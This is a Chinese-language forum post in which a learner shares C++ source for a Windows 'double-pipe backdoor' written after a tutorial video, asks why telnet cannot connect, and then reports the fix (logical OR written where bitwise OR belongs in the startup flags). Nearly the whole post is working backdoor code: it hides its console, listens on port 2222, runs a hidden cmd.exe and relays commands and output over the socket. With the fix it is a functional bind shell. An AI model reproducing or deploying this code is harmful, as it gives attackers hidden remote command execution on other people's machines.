双向管道后门，telnet没反应

chased

跟着syc的视频写的，但是telnet服务端一直连接不上，调试了很久，没找到原因
，代码大部分都一样，求大佬帮忙看一下，哪出问题了？

// doublepipe.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//


#include "doublepipe.h"


//获取输出结果线程
DWORD WINAPI ThreadOutputProc(LPVOID lParam)
{
    CThreadNode tNode = *(CThreadNode*)lParam;
    char szBuf[RECV_BUF_LEN] = { 0 };
    DWORD dwLen = 0,dwTotalAvail = 0;
    BOOL bRet = FALSE;
    while (!bExit)
    {
        bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
        if (bRet&&dwTotalAvail>0)
        {
            bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwLen, NULL);
            if (bRet&&dwLen>0)
            {
                SendData(tNode.m_sock, szBuf, dwLen);
            }
            memset(szBuf, 0, RECV_BUF_LEN);
            Sleep(100);
        }   
    }
    return TRUE;
}


//读取输入命令
DWORD WINAPI ThreadInputProc(LPVOID lParam)
{
    CThreadNode tNode = *(CThreadNode*)lParam;
    DWORD dwWrited = 0, dwRecved = 0;
    char szBuf[MAX_PATH] = { 0 };
    BOOL bRet = FALSE;
    while (true)
    {
        dwRecved = recv(tNode.m_sock, szBuf, MAX_PATH, 0);
        if (dwRecved>0&&dwRecved!=SOCKET_ERROR)
        {
            WriteFile(tNode.hPipe, szBuf, dwRecved, &dwWrited, NULL);
        }
        else
        {
            closesocket(tNode.m_sock);
            WriteFile(tNode.hPipe, "exit\r\n", sizeof("exit\r\n"), &dwWrited, NULL);
            bExit = TRUE;
            break;
        }
        Sleep(100);
    }

    return TRUE;
}

int SendData(SOCKET m_socket, void* pBuf, DWORD dwBufLen)
{
        if (m_socket == INVALID_SOCKET || !pBuf || dwBufLen <= 0)
        {
                return -1;
        }
        int iCurrSend = 0, offset = 0;
        do
        {
                iCurrSend = send(m_socket, (char*)pBuf + offset, dwBufLen, 0);
                if (iCurrSend <= 0)
                {
                        break;
                }
                dwBufLen -= iCurrSend;
                offset += iCurrSend;

        } while (dwBufLen > 0);

        return offset;
}
BOOL SocketInit()
{
        WSAData wsadata = { 0 };
        if (WSAStartup(MAKEWORD(2, 2), &wsadata) == NOERROR)
        {
                return TRUE;
        }
        else
        {
                return FALSE;
        }
}

BOOL RunShell(UINT uPort)
{
    if (!SocketInit())
    {
        return FALSE;
    }
    SOCKET m_Listen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (m_Listen==INVALID_SOCKET)
    {
        return FALSE;
    }
    sockaddr_in s_server = {0};
    s_server.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    s_server.sin_port = htons(uPort);
    s_server.sin_family = AF_INET;
    if (bind(m_Listen, (sockaddr*)&s_server, sizeof(s_server))==SOCKET_ERROR)
    {
        return FALSE;
    }
    if (listen(m_Listen,5)==SOCKET_ERROR)
    {
        return FALSE;
    }
    SOCKET m_AcceptSocket = accept(m_Listen, NULL, NULL);

    //创建管道
    HANDLE hThreadOutput, hThreadInput;
   
    HANDLE hReadPipe1=NULL, hWritePipe1=NULL;//管道1用来接收命令
    HANDLE hReadPipe2=NULL, hWritePipe2=NULL;//管道2用来输出结果
    CThreadNode mReadNode, mWriteNode;
    mReadNode.m_sock = mWriteNode.m_sock = m_AcceptSocket;
    SECURITY_ATTRIBUTES sa = { 0 };
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    if (!CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0)||!CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))
    {
        return FALSE;
    }
    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(STARTUPINFO);
   
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESHOWWINDOW || STARTF_USESTDHANDLES;
    si.hStdInput = hReadPipe1;
    si.hStdOutput = si.hStdError = hWritePipe2;
    si.wShowWindow = SW_HIDE;
    char szCmdLine[MAX_PATH] = { 0 };
    GetSystemDirectory(szCmdLine, MAX_PATH);
    strcat_s(szCmdLine, MAX_PATH,"\\cmd.exe");
    if (!CreateProcess(szCmdLine,NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi))
    {
        return FALSE;
    }
    DWORD dwThreadOutputId=0, dwThreadInputId=0;
    mReadNode.hPipe = hReadPipe2;
    hThreadOutput = CreateThread(NULL, 0, ThreadOutputProc, &mReadNode, 0, &dwThreadOutputId);
    mWriteNode.hPipe = hWritePipe1;
    hThreadInput = CreateThread(NULL, 0, ThreadInputProc, &mWriteNode, 0, &dwThreadInputId);

    HANDLE szHandel[] = { hThreadInput,hThreadOutput };
    WaitForMultipleObjects(2, szHandel, TRUE, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    return TRUE;
}


int main()
{
    FreeConsole();
        RunShell(2222);
        return 0;
}

chased

自己找到问题了，si.flags 那里||和| 搞错了。。。 理解错了，我以为是STARTF_USESHOWWINDOW，STARTF_USESTDHANDLES任意一个标志位就可以，原来应该是要按位或